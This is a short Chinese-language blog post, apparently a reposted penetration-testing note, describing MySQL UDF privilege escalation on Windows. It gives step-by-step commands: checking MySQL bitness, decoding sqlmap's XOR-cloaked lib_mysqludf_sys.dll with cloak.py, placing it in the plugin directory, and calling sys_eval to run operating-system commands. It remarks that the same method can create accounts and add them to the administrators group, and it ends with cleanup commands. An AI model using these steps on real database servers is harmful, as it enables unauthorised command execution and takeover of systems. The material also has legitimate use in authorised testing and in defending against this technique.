时间:2021-07-01 10:21:17 帮助过:42人阅读
)
先判断数据库版本,符合 mysql >= 5.1 情况。
sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like ‘%version_%‘; 查看 mysql 位数。
sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll_,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\Penetration\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。
select sys_eval(‘calc‘); 弹计算器实验一下,还可以新建账号加入管理员组等进行其它操作。
删除函数命令:
drop function sys_eval;
delete from mysql.func where name=‘sys_eval‘;
参考:
http://www.yangchengec.cn/zhoubian/365.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355
MySQL_UDF提权
标签:机器 set 防止 ring span 密码 编码 article 一句话木马